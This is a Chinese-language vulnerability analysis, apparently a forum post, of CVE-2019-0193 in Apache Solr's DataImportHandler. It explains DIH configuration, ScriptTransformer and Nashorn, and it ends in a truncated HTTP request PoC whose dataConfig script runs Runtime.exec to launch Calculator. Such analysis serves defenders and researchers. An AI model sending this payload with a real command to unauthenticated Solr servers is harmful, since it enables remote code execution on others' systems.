简介

Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。

  • 主要功能包括:
    • full-text search 全文搜索
    • hit highlighting
    • faceted search
    • dynamic clustering 动态聚类
    • document parsing 文档解析
  • Solr可以像数据库一样被使用:
    • 1.运行服务器,创建collection1
    • 2.从外部获取数据 - 向collection1发送不同类型的数据(例如文本,xml文档,pdf文档等任何格式)
    • 3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口,以便于你搜索已有数据

与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。

漏洞信息

8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警。

此漏洞位于Apache Solr的可选模块DataImportHandler模块中。

模块介绍:
DataImportHandler模块
虽然是一个可选模块,但是它常常被使用。
该模块的作用:从数据源(数据库或其他源)中提取数据。

  • 该模块的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
    • Server端 - 通过Server的“配置文件“来指定配置信息"DIH配置"
    • web请求 - 使用web请求中的dataConfig参数(该参数用户可控)来指定配置信息"DIH配置"(整个DIH配置可以来自请求的“dataConfig”参数)

漏洞描述:
Apache Solr如果启用了DataImportHandler模块,因为它支持使用web请求来指定配置信息"DIH配置" ,攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容),dataConfig内容完全可控(多种利用方式),后端处理的过程中,可导致命令执行。

利用方式:
(其中一种利用方式)
"DIH配置" ("DIH配置"中可以包含脚本内容,本来是为了对数据进行转换),构造包含脚本的配置信息当Web后端处理该请求时,会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析,而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类,如执行命令的类),导致可以执行任意代码。

利用条件:
1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
2.Solr Admin UI未开启鉴权认证。(默认情况下打开web界面无需任何认证)

影响范围:
Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用),存在该漏洞。
Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。

参考自 https://issues.apache.org/jira/browse/SOLR-13669

基础概念

基础概念 - DIH概念和术语

参考官方资料
https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#dih-concepts-and-terminology

  • 数据导入处理程序(the Data Import Handler,DIH)常用术语
    • Datasource (数据源)
    • 概念:数据源,定义了 即将导入Solr的 “Solr之外的“ 【数据的位置】。
    • 数据源 有很多种:
      • 导入Solr的数据如果来自"数据库",此时数据源(外部数据的位置)就是一个DSN(Data Source Name)
      • 导入Solr的数据如果来自“HTTP的响应“ (如RSS订阅源、atom订阅源、结构化的XML...),此时数据源(外部数据的位置)就是URL地址
      • ...支持多种数据源 参考以上链接
    • Entity - 实体
      • Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
      • 从概念上讲,“实体“被处理是为了生成Solr中的一组文档(a set of documents),包含多个字段fields),这些字段(可以用各种方式转换之后)发送到Solr进行索引。对于RDBMS(关系型数据库)数据源,实体是这个RDBMS中的一个视图(view)或表(table),它们将被一个或多个SQL语句处理,从而生成Solr中的一组行(文档),这些行(文档),具有一个或多个列(字段)。
      • 个人理解,实体就是外部的数据源中的实实在在的“数据“。
    • Processor - 实体处理器
      • An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
      • 实体处理器从(Solr外部的)"数据源"中提取数据内容,转换数据内容并将其添加到Solr索引中。可以编写"自定义实体处理器"(Custom entity processors)来扩展或替换已提供的处理器。
      • 个人理解,实体处理器的作用是“提取“并“转换“外部数据。
    • Transformer - 转换器
      • Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
      • 实体(从Solr之外的数据源中)获取的每一组字段,都可以有选择地被“转换器“转换。此转换过程可以修改字段(fields)、创建新字段、或从单单一行(a single row)生成多个rows/documents。
      • 个人理解,“转换器“主要是被“实体处理器“调用,用来对“数据内容“做转换。
      • There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
      • DIH中有几个内置转换器,它们执行诸如修改日期(modifying dates)和剥离HTML(stripping HTML)等函数。可以使用"public的接口"编写自定义转换器。

基础概念 - dataconfig

参考官方资料
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#configuring-the-dih-configuration-file

https://cwiki.apache.org/confluence/display/solr/DataImportHandler
尤其是其中的“Usage with XML/HTTP Datasource”

Solr如何从外部数据源中获取数据呢?
使用DataImportHandler模块,只需要提供dataConfig (配置信息)即可。

因为配置信息详细的说明了:“导入数据“、“转换数据“等操作需要的所有参数。

配置信息应该怎么写?需要符合语法。

看例1即可看到:“导入数据“、“转换数据“等操作需要的所有参数。

dataConfig 内容 例1:

数据源为“数据库的位置”

<dataConfig> 

  <!-- 第1个元素是dataSource   driver属性值说明了"JDBC驱动程序的路径"; url属性说明了“JDBC URL“; user属性说明了“登录凭据“ ...-->
  <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:./example-DIH/hsqldb/ex" user="sa" password="secret"/> 

  <!-- 第2个元素是document  它包含了多个entity(实体)元素  注意 entity(实体)可以嵌套entity(实体) -->
  <document> 

  <!-- 下面紧接着一行 是个root entity(根实体)元素   含有1个或多个 field(字段)元素,它们的作用是将“数据源字段名称“映射到“Solr中的字段“,并可选择指定每个字段的转换  -->
    <entity name="item" query="select * from item"
            deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'"> 

      <field column="NAME" name="name" />

      <entity name="feature"
              query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
              deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
              parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}"> 
  <!-- 上面紧接的一行中 ID的值的含义是 是当前item(项) 的 “ID” column(列) 的值  -->

        <field name="features" column="DESCRIPTION" />
      </entity>

      <entity name="item_category"
              query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
              deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
              parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
        <entity name="category"
                query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
                deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
                parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
          <field column="description" name="cat" />
        </entity>
      </entity>
    </entity>
  </document>
</dataConfig>

基础概念 - ScriptTransformer

参考官方资料 https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

脚本转换器(ScriptTransformer):它允许开发者使用Java支持的任何脚本语言。
实际情况:Java 8默认自带了Javascript脚本解析引擎,需要支持其他语言的话需要自己整合(JRuby、Jython、Groovy、BeanShell等)

要写脚本必须满足以下条件:"脚本内容"写在数据库配置文件中的<script>脚本内容</script>标签之内,并且每个函数都必须接受一个名为row的变量,该变量的数据类型为 Map<String,Object>(键名-键值 映射),因为是Map类型的变量,所以它可以使用get(),put(),remove(),clear()等方法操作元素。
所以通过脚本可以实现各种操作:修改已存在的字段的值、添加新字段等。
每个函数的返回值都返回的是"对象"。

该脚本将插入DIH配置文件中(脚本内容 在DIH配置文件中的第一行开始),并为每一个"行"(row)调用一次脚本,有多少"行"(row)就调用多少次脚本。

看一个简单的例子

dataConfig 内容 例2:

数据源为“数据库的位置”

<dataconfig>

  <!-- 函数定义:  该脚本的作用是,获取"华氏温度"(键名为temp_f)数值,计算出对应的"摄氏温度"(键名为temp_c )的值如99 ,插入键值对   'temp_c',99 到这个名为row的Map对象,retrun该对象  -->

  <!-- 函数定义:生成一个新的row的脚本 它的作用是获取到华氏温度temp_f  根据该数值计算出 摄氏温度temp_c 并生成一个新row    -->

  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <!-- 函数调用:实体entity 中的属性transformer的值 为 函数名称(字符串 f2c ),这样从外部数据源取到一条row,就会调用一次上面脚本中定义的名为f2c函数.  有多少条数据就调用多少次脚本中的函数 -->

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
      ....
    </entity>
  </document>
</dataConfig>

基础概念 - Nashorn引擎

  • 在Solr的Java环境中使用了Nashorn引擎,它的作用
    • 1.实现Java环境解析Javascript脚本
    • 2.在Nashorn引擎的支持下,JavaScript脚本可以使用Java中的东西。

如下,JavaScript脚本中可以使用Java.typeAPI方法,实现在JavaScript中引用Java中的类 (像Java中的import一样),并在JavaScript脚本中使用该Java类中的Java方法

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

环境搭建

运行环境:
macOS系统

java -version

java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

使用Solr 8.1.1二进制版,下载地址 https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip

使用Solr的example-DIH 路径在example-DIH/solr/ 它自带了一些可用的索引库: atom, db, mail, solr, tika

启动Solr开始动态调试。

PoC

进入DIH admin界面:

http://solr.com:8983/solr/#/tika/dataimport/dataimport

如图,这里我选择了Solr example程序中自带的名为tika的索引库(Solr中把索引库叫core),并填写了dataConfig信息。

构造PoC的注意点1:debug=true
如图,DataImportHandler模块的DIH admin界面中有一个debug选项(本来是为了方便对"DIH配置"进行调试或开发),勾选Debug,点击Execute,看到在HtTP请求中是debug=true,在PoC中必须带上它(为了回显结果)。

构造PoC的注意点2:dataConfig信息
注意:数据配置(dataconfig)中实体(entity)、字段(field)标签中有哪些属性取决于用了哪个处理器(processor)、哪个转换器(transformer)

dataConfig信息中的关键点(1):这里我使用的数据源的类型是URLDataSource(理论上其他数据源的类型都可以)
dataConfig信息中的关键点(2):既然有(1),所以<document>中的 <entity>实体标签里说明了该实体的属性。

  • <entity>实体的属性
    • 属性name 必填 用于标识实体的唯一名称
    • 属性processor可选项 默认值为SqlEntityProcessor,所以当数据源不是RDBMS时必须填写该项。对于URLDataSource类型的数据源而言,它的值必须为“XPathEntityProcessor”(根据官方说明只能使用XPathEntityProcessor对‘URL的HTTP响应“做处理);
    • 属性transformer可选项 填写格式为transformer="script:<function-name>" 指定了转换数据时具体的transformer(转换器)需要执行的脚本函数的名称(即字符串“poc“);
    • 属性forEach 必填 值为Xpath表达式 用于“划分“记录。如果有多种类型的记录就用|符号把这些表达式分隔开;
    • 属性url的值用于调用REST API的URL(可以模板化)

dataConfig信息中的关键点(3):<dataConfig>中的<script>标签中,写了名为"poc"的脚本函数的具体实现。

抓到HTTP请求,看到是POST方法(用GET完全可以),其中dataConfig是URL编码的(直接用原始数据发现也可以),PoC如下:

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
点击收藏 | 2 关注 | 2
登录 后跟帖